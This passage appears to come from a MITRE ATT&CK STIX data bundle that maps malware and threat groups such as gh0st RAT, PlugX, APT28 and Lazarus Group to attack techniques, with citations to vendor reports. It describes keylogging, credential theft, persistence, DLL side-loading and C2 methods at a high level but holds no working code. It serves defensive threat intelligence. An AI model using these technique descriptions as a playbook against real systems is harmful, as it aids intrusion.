            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-01-17T19:33:18.057Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sys10](https://attack.mitre.org/software/S0060) uses HTTP for C2.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:38:58.275Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--edbd751e-29ad-419f-a3ff-9d210453351d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reaver](https://attack.mitre.org/software/S0172) collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information.(Citation: Palo Alto Reaver Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.857Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--af883d09-3f26-4267-9081-4783447e3283",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has the capability to to delete files.(Citation: FireEye Hacking Team)(Citation: Gh0stRAT ATT March 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Hacking Team",
                    "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"
                },
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."
                }
            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-07-15T19:28:00.918Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--026a63ae-dd3d-4ea6-8a32-c40c9b37b893",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZeroT](https://attack.mitre.org/software/S0230) shellcode decrypts and decompresses its RC4-encrypted payload.(Citation: Proofpoint ZeroT Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-17T02:54:39.798Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Tasklist](https://attack.mitre.org/software/S0057) can be used to discover processes running on a system.(Citation: Microsoft Tasklist)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft Tasklist",
                    "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580"
        },
        {
            "id": "relationship--216c15b0-3091-49f2-ba85-356d56265671",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
                    "source_name": "US-CERT FALLCHILL Nov 2017"
                }
            ],
            "description": "(Citation: US-CERT FALLCHILL Nov 2017)",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.649Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--3450fcde-caba-4595-b28b-99f18b4a4b7a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bandook](https://attack.mitre.org/software/S0234) contains keylogging capabilities(Citation: BH Manul Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "BH Manul Aug 2016",
                    "description": "Galperin, E., Et al.. (2016, August 4). When Governments Attack: State Sponsored Malware Attacks Against Activists, Lawyers, and Journalists. Retrieved May 23, 2018.",
                    "url": "https://www.blackhat.com/docs/us-16/materials/us-16-Quintin-When-Governments-Attack-State-Sponsored-Malware-Attacks-Against-Activists-Lawyers-And-Journalists.pdf"
                }
            ],
            "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:01:27.545Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1762fe5a-0810-4179-bfb0-16d965ffe055",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.(Citation: ZScaler Hacking Team)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ZScaler Hacking Team",
                    "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.",
                    "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "type": "relationship",
            "modified": "2020-03-16T16:56:45.649Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--03927dc7-2ef0-43e4-ad71-94243e29bca4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses variations of a simple XOR encryption routine for C&C communications.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-17T00:09:26.398Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--264e85a3-1ddc-4b68-87fc-c2b96d6ec0e9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain network information, including DNS, IP, and proxies.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-16T16:57:39.229Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3d97f57c-2a7c-4626-8b05-9d345047d3ad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PlugX](https://attack.mitre.org/software/S0013) uses Pastebin to store C2 addresses.(Citation: Palo Alto PlugX June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/",
                    "description": "Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.",
                    "source_name": "Palo Alto PlugX June 2017"
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7",
            "type": "relationship",
            "modified": "2020-03-20T21:23:51.285Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fed9f1de-bd5b-4715-ae70-ad457e89a988",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[iKitten](https://attack.mitre.org/software/S0278) adds an entry to the rc.common file for persistence.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211",
            "type": "relationship",
            "modified": "2020-03-30T02:18:19.182Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--074e7c5b-84e5-4cc1-bb8e-9b9f50eab274",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) uses Port Numbers 80, 8080, 8000, and 443 for communication to the C2 servers.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--6e422de0-d8c4-41f8-acdd-d433e14e32a3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) created a directory named \"out\" in the user's %AppData% folder and copied files to it.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:41:13.382Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--764b5d56-83a1-4c8d-824a-2021c7fe8052",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
            "relationship_type": "uses",
            "target_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Dec 2015"
                },
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "source_name": "Emissary Trojan Feb 2016"
                }
            ],
            "description": "(Citation: Lotus Blossom Dec 2015)(Citation: Emissary Trojan Feb 2016)",
            "type": "relationship",
            "modified": "2019-03-25T14:17:43.392Z",
            "created": "2017-05-31T21:33:27.064Z"
        },
        {
            "id": "relationship--ae8a95fa-c0ad-40b4-a573-a9441ed94fab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) automatically exfiltrates collected files via removable media when an infected device is connected to the second victim after receiving commands from the first victim.(Citation: ESET Sednit USBStealer 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "type": "relationship",
            "modified": "2020-03-11T17:45:54.150Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--216ab163-818b-4303-beb6-a743b90c98bf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Prikormka](https://attack.mitre.org/software/S0113) uses rundll32.exe to load its DLL.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.639Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1fadec32-a069-4103-bac1-1f61cf2e90e0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256)'s launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
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            "description": "[OnionDuke](https://attack.mitre.org/software/S0052) steals credentials from its victims.(Citation: F-Secure The Dukes)",
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            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) attempted to use RDP to move laterally.(Citation: Cymmetria Patchwork)",
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                }
            ],
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            "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions.(Citation: Unit 42 Playbook Dec 2017)",
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            ],
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            "type": "relationship",
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                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "description": "(Citation: US-CERT TA18-074A)",
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            "description": "[Naikon](https://attack.mitre.org/groups/G0019) uses commands such as <code>netsh interface show</code> to discover network interface settings.(Citation: Baumgartner Naikon 2015)",
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                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
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            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) deletes the Registry key <code>HKCU\\Software\\Classes\\Applications\\rundll32.exe\\shell\\open</code>.(Citation: FireEye FELIXROOT July 2018)",
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                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
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            ],
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware is capable of keylogging.(Citation: Unit 42 Magic Hound Feb 2017)",
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                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
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            "description": "[APT18](https://attack.mitre.org/groups/G0026) actors used the native [at](https://attack.mitre.org/software/S0110) Windows task scheduler tool to use scheduled tasks for execution on a victim network.(Citation: Dell Lateral Movement)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                    "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.",
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            ],
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            "description": "[Agent.btz](https://attack.mitre.org/software/S0092) creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.(Citation: Securelist Agent.btz)",
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                {
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                    "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.",
                    "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/"
                }
            ],
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                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
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            ],
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                {
                    "source_name": "Forcepoint Felismus Mar 2017",
                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
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            ],
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                    "source_name": "FireEye APT28",
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                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
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                {
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "source_name": "Kaspersky Sofacy"
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                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."
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            "description": "(Citation: FireEye APT28)(Citation: Kaspersky Sofacy)(Citation: Securelist Sofacy Feb 2018)",
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to side load DLLs with a valid version of Chrome with one of their tools.(Citation: FireEye Clandestine Fox)(Citation: FireEye Clandestine Fox Part 2)",
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                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html",
                    "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox Part 2"
                }
            ],
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            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.627Z",
            "created": "2018-01-16T16:13:52.465Z"
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        {
            "id": "relationship--70f3eaca-179d-4412-ad32-c4e3cf60c27c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Axiom](https://attack.mitre.org/groups/G0001) group is known to have used RDP during operations.(Citation: Novetta-Axiom)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "source_name": "Novetta-Axiom"
                }
            ],
            "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2019-03-22T19:55:13.749Z",
            "created": "2017-05-31T21:33:27.031Z"
        },
        {
            "id": "relationship--41590e53-8d15-4924-bfd7-850f7b3f23ea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) added newly created accounts to the administrators group to maintain elevated access.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.664Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1334cbe3-8613-4279-9a1f-58781c2656a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to brute force password hashes to be able to leverage plain text credentials.(Citation: APT3 Adversary Emulation Plan)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf",
                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
                    "source_name": "APT3 Adversary Emulation Plan"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d",
            "type": "relationship",
            "modified": "2020-03-29T18:23:36.943Z",
            "created": "2018-01-16T21:43:14.128Z"
        },
        {
            "id": "relationship--3350f278-af37-4183-b1be-8d79abce27ac",
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            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has attempted to get users to open malicious files by sending spearphishing emails with attachments to victims.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "source_name": "Microsoft PLATINUM April 2016"
                }
            ],
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T14:54:24.036Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7aa43cd7-ada3-49c9-8dc7-9492fa22c7d8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes uncommonly used ports such as 995, 1816, 465, 1521, 3306, and many others.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
